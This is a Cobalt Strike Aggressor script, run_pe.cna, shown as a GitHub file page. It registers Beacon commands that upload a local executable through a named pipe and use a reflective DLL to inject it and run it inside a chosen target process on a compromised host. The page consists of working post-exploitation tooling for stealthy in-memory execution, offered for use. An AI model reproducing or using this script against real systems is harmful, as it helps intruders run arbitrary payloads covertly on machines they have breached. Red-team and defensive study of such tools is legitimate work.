-
Notifications
You must be signed in to change notification settings - Fork 11
/
run_pe.cna
54 lines (53 loc) · 1.61 KB
/
run_pe.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
beacon_command_register("upload_file", "Uploads a local file and send to a file accessible by the beacon host (including pipes)", "upload_pipe");
beacon_command_register("run_pe", "using named pipes to run_pe", "usage: run_pe pe_path -t Target_path -p Arguments");
alias run_pe {
if(size(@_) = 1)
{
berror($1, "Incorrect usage!");
berror($1, beacon_command_detail("run_pe"));
return;
}
if(($3 eq "-t")||($5 eq "-p"))
{
$handle = openf($2);
$data = readb($handle, -1);
closef($handle);
$size = strlen($data);
blog($1,"file size ".$size);
$args = substr($0, 7);
$target_ = find("$args","-t", 0);
$Arguments_ = find("$args","-p", 0);
$target = substr($args, $target_ + 2,$Arguments_ - 1);
$argv = substr($args, $target_);
$Arguments = substr($args, $Arguments_ + 2);
btask($1,"Run PE_Path: ".$2." Target_Path:".$target." Arguments:".$Arguments);
$test = $size." ".$argv;
if($size < 1048576)
{
bdllspawn($1,script_resource("reflective_dll.x64.dll"),$test, "", 1000, false);
#blog($1,"usage upload_file ".$2." \\\\.\\pipe\\mynamedpipe")
bupload_raw($1, "\\\\.\\pipe\\mynamedpipe", $data);
}
else
{
bdllspawn($1,script_resource("reflective_dll.x64.dll"),$test, "", 1000, false);
blog($1,"Please run: upload_file ".$2." \\\\.\\pipe\\mynamedpipe")
#bupload_raw($1, "\\\\.\\pipe\\mynamedpipe", $data);
}
}
else
{
berror($1, "Incorrect usage!");
berror($1, beacon_command_detail("run_pe"));
return;
}
}
sub _upload_file{
$handle = openf($2);
$data = readb($handle, -1);
closef($handle);
bupload_raw($1, $3, $data);
}
alias upload_file {
_upload_file($1, $2, $3);
}